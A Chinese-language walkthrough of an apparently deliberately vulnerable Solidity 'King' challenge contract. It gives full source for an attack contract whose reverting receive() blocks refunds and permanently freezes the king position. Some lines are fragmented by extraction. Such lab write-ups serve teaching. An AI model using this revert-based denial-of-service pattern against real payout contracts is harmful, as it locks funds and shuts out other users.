我們的目標是:
prize
更高的 Ether,成為 King。// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
在這個合約中,成為 King 的條件是向合約發送比目前 prize
更高的 Ether。當新的玩家支付足夠的金額時,King 合約會更新 king
為新的玩家地址,並將 msg.value
轉移給前一位 King。然而,當前的 King 是一個可以拒絕接收 Ether 的合約,從而導致 King 合約無法順利執行轉帳,交易失敗,合約進入 revert 狀態。
prize
轉給我們的攻擊合約時,攻擊合約會拒絕接收 Ether,導致轉帳失敗,從而阻止其他玩家成為新的 King。// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IKing {
function prize() external view returns (uint256);
function _king() external view returns (address);
}
contract Hack {
constructor(address payable _target) payable {
uint256 prize = IKing(_target).prize();
// 向 King 合約發送 Ether 並成為新的 King
(bool ok,) = _target.call{value: prize}("");
require(ok, "tx failed");
}
// receive 函數,當收到來自 King 合約的 Ether 時直接中止
receive() external payable {
revert("I will not accept any funds");
}
}
constructor
中,合約首先查詢 King 合約的 prize
,並發送等量的 Ether 來成為 King。receive()
函數:該函數會阻止 King 合約向我們轉帳 Ether,這是攻擊的關鍵。當 King 合約嘗試給我們發送 Ether 時,交易會失敗,從而阻止合約繼續執行。Hack
被部署時,會發送 Ether 給 King 合約,並成為新的 King。receive()
函數會拒絕交易,導致 King 合約的交易失敗,從而阻止其他玩家奪取 King 的位置。